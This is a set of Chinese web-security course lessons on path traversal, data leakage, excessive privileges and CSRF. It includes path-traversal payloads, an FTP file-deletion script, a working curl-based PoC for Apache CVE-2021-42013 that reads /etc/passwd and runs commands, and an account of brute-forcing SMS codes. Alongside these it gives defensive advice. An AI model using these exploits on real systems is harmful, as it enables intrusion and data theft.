因收到Google相关通知网站将会择期关闭。相关通知内容
02 路径穿越你的Web应用系统成了攻击者的资源管理器
你好,我是王昊天。
上节课呢,我们学习了失效的访问控制,这节课我想和你一起探索另一个有趣的漏洞类型——神奇的路径穿越。
想象你是一个勇者,而你这次的目标是要进入一座盘踞着古龙的城堡寻找宝藏。考虑到自己还不够强大,正面进攻明显会送了自己的小命,于是你打算先绕道看看,这个城堡有没有什么其他可以进入的方式。幸运的是,作为一座昔日的王宫,这座城堡的设计完整,有许多侧门;但同时你也会发现,每一扇侧门的背后不是仓库就是守卫室,完全不能帮助你进入城堡内部。经过了一整天的探索,你终于发现了一个房间,它和其他仓库在外观上并无二致,唯一的不同是其中一块地板下竟藏着一扇暗门,你怀着好奇缓缓开启这扇门,发现面前正是一条通往城堡的密道…
如果把城堡看作是你进行安全检测的系统,那么恭喜你,现在你已经成功找到了路径穿越漏洞。通过这种漏洞,你可以访问“城堡”内部的各种“宝藏”。当然,你具体能访问到什么样的宝藏,还要取决于地道究竟能够通往何处。
路径穿越
那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。
扩展开讲一讲,很多系统内部的文件操作都希望被限制在特定目录中进行。通过使用..以及/符号,攻击者可以进行文件路径逃逸。其中最常见的符号组合是../,这种符号组合在操作系统中会被解析为上级目录,这种漏洞被称为相对路径穿越。绝对路径穿越是另一种类型的路径穿越,比如/usr/local/bin就是典型的例子。
接下来我们看几种典型的攻击场景:
这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里:
my $dataPath = "/users/example/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
// 这里是老师写的注释
// 并没有对用户传入的username参数进行验证
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while(<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";
当用户尝试去访问自己的配置文件的时候,会组成如下路径:
/users/example/prfiles/hunter
但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数:
../../../etc/passwd
通过拼接,攻击者将会得到一个完整的路径:
/users/example/profiles/../../../etc/passwd ==> /etc/passwd
通过这条路径攻击者就可以成功访问到Linux系统的password文件。
下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。
my $username = GetUntrustedInput();
// 这里是老师写的注释
// 黑名单方式过滤
// 对username的过滤不严格
$username = ~ s/\.\.\///;
my $filename = "/home/user/" . $username;
ReadAndSendFile($filename);
但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符因此仅仅过滤掉了参数中出现的第一个../字符:
../../../etc/passwd => /home/user/../../etc/passwd
所以攻击者仍然可以通过多层拼接来实现攻击。
如下代码也在编写中考虑到输入的不安全性,它采用了白名单方式,限制了路径:
String path = getInputPath();
// 这里是老师写的注释
// 白名单方式过滤
// 对path的限制不够严格
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}
但是攻击者依然可以通过提供如下参数进行绕过:
/safe_dir/../etc/passwd
如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入:
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
如下Java Servlet代码通过doPost方法接受请求从HTTP Request Header中解析文件名然后从Request中读取内容后再写入本地upload目录
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);
String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...
// output the file to the local upload directory
try {
// 这里是老师写的注释
// 攻击者可以修改Request中的filename进行攻击
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {
...
}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}
上述代码一方面没有对上传的文件类型进行检查这节课我们不探讨这个安全问题另一方面没有检查filename就直接进行了拼接因此攻击者只需要通过Burpsuite、ZAP等Proxy应用对Request进行拦截和修改filename属性即可利用路径穿越漏洞。
在了解典型的风险场景之后,我们来看一下实战中真正出现过的安全漏洞。
案例实战
CVE-2009-4194
该漏洞是一个目录穿越漏洞影响的软件版本是Golden FTP Server 4.30 Free 以及 Professional版本、4.50版本未验证允许攻击者通过DELE命令删除任意文件。
启动MiTuan中的CVE-2009-4194靶机这是一个Windows 7系统内置了Golden FTP Server 4.30版本并且已经预先设置好了FTP共享路径
C:\Users\sty\Desktop
接下来构建我们的攻击程序为了方便我们采用Perl语言。如果你使用的是Mac电脑那么你可以无需配置环境直接运行我们编写好的攻击程序体验效果
use strict;
use Net::FTP
print "1";
my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
$ftp->login("anonymous", "") || die $ftp->message;
$ftp->cwd("/Desktop/") || die $ftp->message;
# This deletes the file C:\Users\sty\test.txt
$ftp->delete("../test.txt");
$ftp->quit;
$ftp = undef;
通过上述的代码我们可以看到C:\Users\sty\test.txt文件已经被删除了我们成功穿越了FTP Server的限制实现了了任意文件的删除又一个神奇的漏洞被我们成功利用了身为勇士的你成功地获取了城堡内宝藏的控制权。
防御方案
既然我们已经了解了漏洞的原理、发生的场景以及利用方式,那么我们要如何防御这种类型的攻击,并且预防潜在的漏洞出现呢?我们可以从不同的阶段出发,进行多维度安全建设,从而最大化地降低这类风险出现的概率。
在编码实现阶段:-
1. 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式;-
2. 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过;-
3. 如果可能为用户提供选项或者通过应用系统内部ID映射的方式进行对象访问例如ID 1对应“info.txt”-
4. 确保Error Message只包含最小必要信息避免过于详细的信息展示防止攻击者因此获取系统相关信息。
在架构设计阶段:-
1. 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过;-
2. 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
在防御建设阶段:-
1. 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效;-
2. 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行;-
3. 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。
回到我们最初的场景,此时你不再是想要潜入城堡的勇士,而是昔日负责城堡建设的规划师。那么编码实现阶段的输入过滤就像一道道门禁关卡,只有真正城堡内部的人才能进入;架构设计阶段则让你从内到外地落地安全检查,当然你也可以借鉴成熟的城堡设计方案;最后在防御建设阶段,做好每个通道的隔离,确保不会有任何一条通道可以直接进入城堡核心区域。
总结
构建一个安全优雅的系统,保持神秘性是一个至关重要的因素,让用户只看到他应该看到的东西,是这一切的前提。
不怀好意的攻击者往往非常聪明,你让他看见一滴水,他就能想到路的尽头是一片海洋,最有趣的事情在于你所建设的系统尽头恰好有一片海洋,而且海里还有攻击者垂涎的海鲜。
这节课我们分析了常见的路径穿越场景和这些场景下的典型漏洞利用代码:
未对用户输入做验证;
黑名单检测绕过;
白名单检测绕过;
前端检测绕过。
我们还以漏洞CVE-2009-4194为例带你在实战中复现了路径穿越漏洞。
最后我从编码实现、架构设计、防御建设3个不同的阶段给你提供了安全编码和系统加固的建议
对所有用户输入执行严格的输入检查确保不会出现二次解码绕过问题并推荐使用内部ID映射的方式进行对象访问
使用成熟的开发框架,并且在客户端、服务端都执行安全检查;
使用沙箱环境运行应用系统,遵循最小权限原则,使用独立的受限权限账户,并在边界架设应用防火墙。
以上,就是本节课的内容——构建一个安全优雅的系统,让用户只能走到他该走到的地方。
思考题
通过本节课的案例实战你可以尝试自己复现CVE-2009-4053漏洞吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,185 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
03 敏感数据泄露:攻击者如何获取用户账户?
你好,我是王昊天。
“人只要奋斗就会犯错。”
这是一个非常好的句子,出自歌德的代表作,长篇诗剧《浮士德》。
一千个读者有一千个哈姆雷特,每个人对这句话的理解都不尽相同。悲观的人或许会理解为“人努力了就要犯错误,所以就不要再努力了”;但是从我的经历看来,我更愿意相信它是在说“人努力成长本身就是试错的过程,犯错是难免的,不要因为害怕犯错而停止努力”。
为什么要提到这句话呢?因为系统如人——是有生命力的,系统随着不断更新会出现新的问题,甚至有时候问题本身就是功能设计的一部分。很多敏感数据泄露风险的源头,一部分出现在技术层,一部分出现在设计层,正如我们上面所讲,做得多了,难免会犯错。
敏感数据泄露
什么是敏感数据泄露呢?简单来说,如果我们的应用系统向一个未得到访问授权的用户暴露了敏感信息,那么这就是一种敏感数据泄露风险。
拓展讲一讲,设计上或者技术上有很多意外的失误会导致数据泄露。并且这种错误的严重级别分布也很宽泛,具体要取决于应用系统执行的上下文、被泄露敏感数据的类型以及攻击者从中获取的收益,这里我们列举一些数据类型。
比如个人信息分类,包括即时通讯消息、银行卡信息、交易信息、健康信息、地理位置信息以及订单信息等;系统状态信息分类,包括操作系统信息、环境变量信息、第三方包信息等;还有网络及配置信息、应用系统代码及内部状态信息、元数据信息等等。
不仅数据本身涉及分类分级,对于不同的群体而言,数据的敏感性也是不同的,每个用户群体对于数据保护有着不同的诉求。他们可能是应用系统开发者、应用系统引入的第三方数据的原始拥有者、应用系统管理员(包括业务层、应用层、系统层和运维层)、应用系统的直接用户等。
在了解数据的多样性以及使用群体的多样性之后,我们接下来看一下数据泄露方式的多样性。
首先,在代码层面可能会直接将敏感数据插入到某个消息或者资源中,这个携带着敏感数据的消息或资源被未授权的用户成功访问就会导致数据泄露。
其次可能会由于系统内部错误直接将敏感数据插入到资源文件中比如Web脚本错误泄露应用系统的全路径。
再或者,虽然在代码层面对于敏感数据有着良好的管理,但是由于编码问题,可能导致敏感数据资源被意外地展示在攻击者面前。
可以看到,敏感数据泄露并非单一的技术问题 ,它不仅具备多种风险形态,有时候更是设计层面考虑不全面导致的。
接下来我们一起来看看有哪些比较典型的风险场景:
1. 应用系统逻辑设计问题-
如下代码检测了用户名及密码的正确性并且给出用户结果反馈:
my $username = param('username');
my $password = param('password');
if ( IsValidUsername($username) )
{
if ( IsValidPassword($username, $password) )
{
print "Login successful";
}
else
{
print "Login failed - incorrect password";
}
}
else
{
print "Login failed - incorrect username";
}
上述代码中对于不同的账户名、密码错误组合给出了不同的信息反馈这样的设计使得潜在攻击者能够获得足够的信息来判断login函数的返回值因此攻击者能够使用暴力破解的方式来遍历合法的用户名从而可以进一步尝试暴力破解或者通过社工库撞库等方式获得对应的密码。不可否认的是这样的设计是希望给用户提供更多友好性但也为潜在攻击者提供了友好性这里推荐的实现方案是如下这种
print "Login failed - incorrect username or password"
这里将错误输出设定为同一种,这样在没有丧失用户友好性的同时强化了安全性。
2. 异常处理问题-
如下代码尝试建立一个数据库连接并且将exception输出
try {
openDBConnection();
} catch (Exception $e) {
echo 'Caught exception:', $e->getMessage();
}
上述代码中如果由于网络原因常见或者其他原因导致Exception的发生会在用户访问的页面出现Exception信息这其中就可能包含数据库连接的相关信息。
3. 应用部署问题-
如下代码通过使用一个Debug标识符来进行程序执行逻辑决策
<% if (Boolean.getBoolean("debugEnabled")) { %>
User account number: <% =account_num %>
<% } %>
上述代码中如果在部署应用过程中未将debugEnabled设置为False敏感的调试会被输出到用户能够访问的页面。
4. 权限获取问题-
如下代码为了给用户提供更符合用户需求的服务,希望通过获取坐标来判断用户的地理位置。
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
在这种场景中通过对getLastLocation()的调用,可以获得应用所需的坐标信息:
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurLocation;
userCurLocation = locationClient.getLastLocation();
...
事实上为了满足应用的地理位置获取需求ACCESS_FINE_LOCATION这个权限有些过高了有时候我们只需要使用ACCESS_COARSE_LOCATION即可满足需求。当然这里我们只是举个例子很多应用对于权限的滥用远不止于权限颗粒度随着法律法规的健全应用开发过程中我们对于权限的申请和使用需要越来越谨慎。
案例实战
2021某攻防演练行动中的某集团ERP系统
该漏洞是一个由程序设计逻辑问题引发的敏感数据泄露漏洞通过官网链接或者URL地址爆破很容易找到密码找回功能界面这里我们可以首先看一下该界面提供了通过手机验证码来更新密码的功能
在尝试漏洞挖掘过程中,如果能够根据返回结果的差异性来判断函数内部的执行逻辑,对攻击者而言是非常有利的信号,因为这意味着黑盒的动态测试转变为白盒测试,大幅降低了攻击难度。
因此我们首先尝试不同的输入来探测应用系统返回结果:
可以看到返回的报错信息是足够清晰的,能够帮助我们判断每一次输入的正确性,这符合我们这节课分享的第一种典型风险场景。
接下来我们需要找到真实存在的用户账号以及对应手机号码,一种可行的途径是通过社会工程学获得,另一种方式是查找公开资源。
由于公开资源的查找比较方便快捷,这里先选择该思路进行尝试,通过一些简单的查询可以找到一份该系统的使用说明视频,视频中包含了用户登录过程,虽然登录过程的密码是以星号显示的,但是用户名可以确定,并且登录之后视频中展示的账号信息配置界面包含了手机号,至此我们已经找到真正存在的用户名及手机号码:
填入正确的用户名和手机号,点击获取手机验证码,功能一切正常。接下来我们只要猜测出手机验证码即可。按照一般应用系统的设计规则,验证码的范围应该主要有两种:
0000-9999
000000-999999
我们先随机输入一个格式正确的验证码并且使用Burp进行请求拦截可以截获该HTTP请求随后使用Burp的请求重放功能将验证码部分设置为payload范围设置为0000-9999开始爆破即可。
随着爆破结束查看Burp的请求结果。结果中所有的请求结果长度都是一致的说明并未找到正确的验证码。这里存在两种可能性一种可能性是验证码为6位而非4位另一种可能性是验证码已经过期。
这时我们只能逐一排查将payload范围选择为000000-999999后重新启动重放攻击。大约3个小时后我们终于成功爆破出正确的验证码本次攻击的访问控制绕过部分宣告成功。
虽然本次攻击过程仅仅尝试了6位验证码的攻击但是需要知道的是一般验证码的有效期大概在1030分钟本次攻击的系统并不具备该限制但是即使未来你检测的目标系统存在该限制你仍然可以通过多线程并发爆破的方式在有限的时间内成功碰撞出正确的验证码。
那么截止到这里,我们已经在实战中成功验证了一个典型的风险模型场景,并且该风险场景包括业务敏感数据泄露以及程序逻辑设计不当两种安全风险。
检测及防御方案
由于数据泄露风险的特殊性质,主要是很多时候风险来源是逻辑层面、设计层面或者权限层面的安全问题,导致传统的防御方案和扫描器等很难发挥作用,也正因如此导致其成为了排名第一的风险种类,因此我们需要引入新型安全技术及工具来发现这类潜在风险。
在开发及设计阶段,可以考虑引入威胁建模及审计工具,来协助我们发现在逻辑层面以及设计层面引入的安全风险。通过对系统功能以及业务流程的威胁建模,可以帮助我们消除许多常见的安全隐患。
对于在开发中以及线上运营中的系统我推荐你运用动态安全分析工具以及静态安全分析工具。以BASBreach & Attack Simulation Platform自动化模拟攻击为首的动态安全分析工具能够更全面地覆盖系统功能及接口同时发现深层次安全问题而以SAST为首的静态安全分析工具则可以从代码脆弱性角度帮助我们发现并消除一些安全隐患。
总结
敏感数据泄露即使在今天仍然是相当严重且普遍存在的一个风险点,主要原因是数据泄露并非一个纯粹的技术性问题,很多时候与业务流程、功能设计都息息相关。
单纯从漏洞危害程度来看敏感数据泄露主要分为两种一种是业务敏感数据泄露另一种是技术敏感信息泄露。业务敏感数据的泄露危害性是巨大的会直接影响到公司的品牌和业务运行技术敏感信息泄露往往不能对应用系统安全性产生直接威胁但配合其他漏洞的综合利用可以实现1+1>2的效果其他漏洞利用过程所需的重要信息也许就隐藏在泄露的技术敏感信息中。
这节课我们首先重点探讨了几种常见的非技术性敏感数据泄露场景:
应用系统设计阶段逻辑问题;
异常处理输出不当;
应用部署时未关闭调试开关;
权限获取过多。
接下来我们用一个2021年真实的护网行动案例带你感受了现实场景的漏洞挖掘和利用。某世界500强集团的ERP系统存在典型的应用系统设计阶段逻辑问题通过输入和输出信息攻击者可以判断出开发者的内部函数代码逻辑进而不断探测出敏感数据完成账户控制。
最后针对敏感数据泄露的防御方案我们列举了包括BAS、SAST、威胁建模在内的几种常见的有效防御方案。
思考题
通过本节课的探讨,你可以在实际场景中找到一个典型的潜在敏感数据泄露风险点吗?
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,285 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
04 权限不合理攻击者进来就是root权限
你好,我是王昊天。
在多年的电脑使用经历中,你肯定经历过这种画面:
下载了官方软件却没有正版授权,于是千辛万苦找到一个破解软件,但是在运行破解软件时不断被杀毒软件拦截,一怒之下你把杀毒软件关闭了,随着破解软件的成功消息弹出,你露出了满意的微笑……
3天后你的电脑由于病毒感染无法开机了。
这是一种很典型的场景——为了某些临时性的操作破坏了权限边界,进而导致安全问题的发生。其实,除了临时性的操作,还有很多权限安全问题是长期性的,可能是配置原因、也可能是代码原因,接下来就让我们来一起探究。
权限不合理
权限不合理简单来说,是不合理的权限赋予、权限处理以及权限管理过程。这里所说的权限,指的是终端角色的一种属性。那么什么是终端角色呢?你可以理解为,用户就是一个终端角色。
与权限相关的赋予、处理以及管理过程,我们主要通过权限管理来统一实现。权限管理就是能够赋予终端执行某种特殊操作的权利,比如在某些运维场景下,运维人员能够获得系统维护的权限,这其中就包括重启服务器权限——我们都知道服务器重启可不是常规操作权限。
接下来我们以运行时权限过高为例,来看几种典型的攻击场景。
应用软件在执行某些操作时可能会获取过高的权限,这就可能会破坏我们之前课程中提到的最小权限原则,如果因为这种原因导致了提权漏洞的发生,就可能会放大其他安全风险,导致严重后果。
随着应用软件执行权限的提高比如运行在root或者Administrator权限操作系统或者软件环境提供的安全检查可能会失效更进一步由于操作环境权限提升已经存在的中低危安全风险可能因此升级为高危安全漏洞。
1. 高权限运行应用
在安装和运行组件的过程中,某些程序组件的运行环境设置的权限过高,导致低权限应用通过服务调用关系可以完成提权操作。
与开发层面相比这一类问题的发生更多倾向于运维层面比较典型的场景如攻击者通过WebApp挖掘出注入类型的漏洞而数据库运行在root或者Administrator权限则可以通过注入提权的方式尝试远程命令执行。
2. 降权时出现异常
以下代码尝试去创建一个用户文件夹,在此操作期间进行了短暂提权:
def makeNewUserDir(username):
...
try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()
except OSError:
return False
...
上述代码包含了一次短暂提权开发者在完成目标操作后立即进行了降权但要注意的是username作为一个外部输入的参数可能由于各种原因输入不合法、安全过滤不严格等导致mkdir函数报错进而抛出异常一旦触发这种情况lowerPrivileges函数就无法得到执行程序将持续以高权限状态运行可能会为后续漏洞利用过程提供舒适的环境。
案例实战
CVE-2021-42013 简介
这是一个Apache服务器中存在的高危安全漏洞会导致服务器路径遍历、关键文件泄露以及远程命令执行漏洞。
有趣的是该漏洞是CVE-2021-41773的兄弟漏洞CVE-2021-41773影响的软件版本是2.4.49该软件版本在2021-09-15发布在修复了CVE-2021-41773漏洞后开发团队于2021-10-04发布了2.4.50版本但是在新版本发布的次日安全研究人员就发现对CVE-2021-41773漏洞的修复并不完善会导致一个变种漏洞的发生——CVE-2021-42013。经过apache确认问题后再次发布了2.4.51版本。
关于apache服务器历史源码的下载可以在apache官网找到链接Index of /dist/httpd
CVE-2021-42013 漏洞复现
这里我们提供了两种实验方案你可以从源码编译安装也可以直接使用MiTuan搭建好的环境。
我们先来看看第一种方案如何通过源码编译安装httpd。
我们首先访问apache官网选择2.4.50版本下载:
https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz
通过Docker或者虚拟机启动一台Ubuntu Server如下是httpd编译安装前的环境依赖
apt install libapr1 libapr1-dev
apt install libaprutil1 libaprutil1-dev
apt install libpcre3 libpcre3-dev
然后编译安装即可:
# Extract
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
# Configure
./configure
# Compile
make
# Install
make install
# Test
/usr/local/apache/bin/apachectl -k start
这里要注意在完全默认配置下该漏洞是不存在的,这里我们需要对配置文件做简单的修改:
# 1.
<Directory />
Require all granted
</Directory>
# 2.
LoadModule cgid_module modules/mod_cgid.so
上述的代码主要做了两处修改。一是许可了Apache服务器对文件系统的访问操作二是加载了一个Module。
要知道在部署WebApp的过程中这两处修改是非常普遍的因此该漏洞的影响范围非常大。
通过netstat -antp命令可以查看服务状态
root@1dd54d1b3962:/home# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26722/httpd
我们来来看看第二种方案尝试使用MiTuan直接启动环境。
我已经构建好了标准的2.4.50版本httpd服务器环境你可以访问MiTuan直接搜索[极客时间-漏洞挖掘与智能攻防实战]并选择[CVE-2021-42013]来进行测试。
PoC代码如下
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id
exit
fi
for host in $(cat $1);
do
echo $host
if [[ $3 == '' ]]; then
curl -v --path-as-is "$host/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
exit
fi
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
done
执行PoC代码
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /etc/passwd
127.0.0.1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /bin/sh id
http://127.0.0.1
uid=1(daemon) gid=1(daemon) groups=1(daemon)
可以看到我们可以通过该漏洞访问到/etc/passwd文件并且执行命令获取当前环境的用户信息。
CVE-2021-41773 漏洞分析
在成功利用漏洞之后接下来我们要探究一下漏洞的具体成因。考虑到CVE-2021-42013与CVE-2021-41773是兄弟漏洞CVE-2021-42013是由于修复不完善导致的变形所以这里我们从CVE-2021-41773分析入手。
CVE-2021-41773影响的是Apache HTTP Server 2.4.49版本因此我们可以从官网下载对应的源代码使用常用的编辑器查看https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz或者通过MiTuan的CVE-2021-42013漏洞环境查看。MiTuan的漏洞环境中的/home/httpd-2.4.49包含了对应的源码同时也内置了vim编辑器。
与本漏洞相关的核心代码位于/home/httpd-2.4.49/server/util.c文件核心函数是ap_normalize_path(char *path, unsigned int flags),漏洞相关代码如下:
| while (path[l] != '\0') {
- /* RFC-3986 section 2.3:
2 * For consistency, percent-encoded octets in the ranges of
2 * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
2 * period (%2E), underscore (%5F), or tilde (%7E) should [...]
2 * be decoded to their corresponding unreserved characters by
2 * URI normalizers.
2 */
2 // 老师添加的注释 - part1
2 if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
- && path[l] == '%' && apr_isxdigit(path[l + 1])
- && apr_isxdigit(path[l + 2])) {
3 const char c = x2c(&path[l + 1]);
3 if (apr_isalnum(c) || (c && strchr("-._~", c))) {
- /* Replace last char and fall through as the current
4 * read position */
4 l += 2;
4 path[l] = c;
3 }
2 }
- ...
2 if (w == 0 || IS_SLASH(path[w - 1])) {
- /* Collapse ///// sequences to / */
3 if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
- do {
- l++;
4 } while (IS_SLASH(path[l]));
4 continue;
3 }
3
3 // 老师添加的注释 - part2
3 if (path[l] == '.') {
- /* Remove /./ segments */
4 if (IS_SLASH_OR_NUL(path[l + 1])) {
- l++;
5 if (path[l]) {
- l++;
5 }
5 continue;
4 }
4 /* Remove /xx/../ segments */
4 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
- /* Wind w back to remove the previous segment */
5 if (w > 1) {
- do {
- w--;
6 } while (w && !IS_SLASH(path[w - 1]));
5 }
根据我在源码中添加的注释,可以定位关键代码段:
注释1-
检测到路径中存在%字符时如果紧跟的2个字符是十六进制字符就会进行url解码将其转换成标准字符。
效果:%2e -> .
注释2-
判断是否存在../ ,如果路径中存在%2e./ 形式,就会检测到,但是出现.%2e/ 这种形式时,就不会检测到。
效果:使用.%2e/或者%2e %2e 绕过对路径穿越符的检测。
由此即可构建PoC代码
$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/password
好的至此我们已经成功从代码中分析清楚CVE-2021-41773漏洞的成因并且构建了能够利用漏洞的PoC代码。接下来我们要学习如何从安全建设和开发的角度来防御这种风险。
防御及检测
针对权限相关的安全问题,在三个不同的阶段,我们分别有不同的方式加以防御和检测。
在架构设计阶段你可以使用“最小权限原则”来运行你的代码如果可能的话为你的任务代码创建一个独立的、拥有受限权限的账户。在这种情况下即使攻击者的完成了一次入侵也很难直接威慑到软件系统的其他部分。举例来说数据库应用很少以DBA的形式长时间运行。
另外,你需要识别出需要额外权限的函数,并做好“权限隔离”。**可以通过封装的方式,尽可能的将高权限需求函数与其他代码分割开,同时尽量晚地进行提权操作,以及尽量早地进行降权操作,防止外部任何可能干扰高权限代码段的输入发生。
在开发实现阶段,你需要对于高权限代码段要给予足够的关注,在输入检测层面要提供更严格的审核以及限制策略。
当进行降权时,不要忘记额外调用检测函数以确保权限被成功降低,防止出现降权函数执行失败导致权限没有降低的情况。
在系统配置阶段,对于复杂应用系统,你要确保配置文件得到良好的审计,配置文件往往会大幅度影响应用系统的权限级别。
总结
这节课我们学习了一种很常见但是很重要的安全风险——权限相关的漏洞。
这种漏洞有时与运维相关,由高权限运行应用导致;有时与开发代码相关,由开发时降权失败导致,对此我们分别列举了典型的攻击场景。
然后我们找到了一个2021年发生高危漏洞——CVE-2021-42013它是一个由于配置不当引发的权限相关的漏洞成功利用可以导致文件越权访问以及远程代码执行。
通过搭建环境并进行PoC代码编写我们成功完成了漏洞的复现掌握了CVE-2021-42013的使用。
但是会使用一个漏洞只是量的积累我们更希望以点及面从这个漏洞入手进而掌握这一类漏洞的原理。为了分析漏洞原理我们追踪了它的兄弟漏洞——CVE-2021-41773这是CVE-2021-42013漏洞的前一版本正是由于开发人员更新时针对CVE-2021-41773的修复不完整才导致了CVE-2021-42013的发生。
接下来我们又从源码层面挖掘漏洞的根源。
你需要判断是否存在../,如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时 ,就不会检测到。这一漏洞是由于输入检测不严格,导致用户能够进行输入绕过,完成命令执行。
从本质上来看,问题发生的根源是过滤不严格导致的安全漏洞,关于输入过滤的问题我们已经在前几节课中探讨过,这节课我们更多的是关注存在问题时,我们应该如何做安全建设:
通过函数封装、用户隔离等方式最小权限运行代码;
对高权限代码给予额外的输入检测以及函数检查;
对复杂应用系统的配置文件进行安全审计。
通过结合前几节课程中提到的输入过滤等安全策略,这种多维度、多层次的安全建设,可以更有效地提高应用系统的整体安全性。
思考题
这节课我们研究了CVE-2021-41773 漏洞你可以继续完成CVE-2021-42013 漏洞的分析吗?
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,336 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
05 CSRF为什么用户的操作他自己不承认
你好,我是王昊天。
想象你是个青春阳光的精神小伙,和女神小美青梅竹马,培养了十几年的感情。眼看着就要抱得美人归时,半路杀出了个男二号,成了你的竞争对手。有一天你们恰好在一起聚会,男二号趁你上厕所,用你的手机给小美发了微信。
“小美,你闺蜜真好看,可以介绍给我吗?”
你回来时,小美大骂了你一通,然后生气地摔门而去。
在这个故事里男二就通过他的行为完成了一次CSRF。
CSRF
CSRF的全名是Cross-Site Request Forgery中文名称是跨站点请求伪造简单来说就是让Web应用程序不能有效地分辨一个外部的请求是否真正来自发起请求的用户虽然这个请求可能是构造完整、并且输入合法的。
和前几节课程中学习过的漏洞相比CSRF有自己的漏洞名称明显是一个更为细分的漏洞类型而非一个漏洞类别。它作为一个独立的细分漏洞类型值得我们单独进行探讨说明影响力是足够大的。
扩展开讲一讲当一个Web应用在设计过程中没有充分考虑来自客户端请求的验证机制时就可能会遇到CSRF问题。站在攻击者的视角来看他可以通过一个URL、图片加载或者XMLHttpRequest等方式让用户触发一个自动化请求发送行为这个请求在Web Server接受时会被认为是合法的。
接下来我们看一个典型的攻击场景。
如下HTML目的是让用户更新自己的信息
<form action = "/url/profile.php" method = "post">
<input type = "text" name = "firstname" />
<input type = "text" name = "lastname" />
<br/>
<input type = "text" name = "email" />
<input type = "submit" name = "submit" value = "Update" />
</form>
其中的profile.php包含如下代码
// initial the seesion in order to validate sessions
session_start();
// if the session is registered a valid user the allow update
if ( !session_is_registered("username") )
{
echo "invalid session detected!";
// Redirect user to login page
...
exit;
}
